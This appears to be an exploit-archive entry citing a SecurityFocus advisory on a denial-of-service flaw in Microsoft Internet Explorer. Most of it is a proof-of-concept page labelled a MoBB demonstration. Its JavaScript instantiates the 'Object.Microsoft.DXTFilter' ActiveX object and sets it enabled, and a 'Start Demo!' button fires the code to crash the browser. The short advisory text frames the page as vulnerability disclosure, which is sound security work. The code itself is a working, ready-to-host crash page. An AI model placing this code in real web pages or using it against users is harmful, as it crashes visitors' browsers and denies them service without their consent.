source: https://www.securityfocus.com/bid/18903/info Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website. Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users. // MoBB Demonstration function Demo() { var a = new ActiveXObject("Object.Microsoft.DXTFilter"); a.Enabled = 1; } </script> Clicking the button below may crash your browser!<br><br> <input type='button' onClick='Demo()' value='Start Demo!'>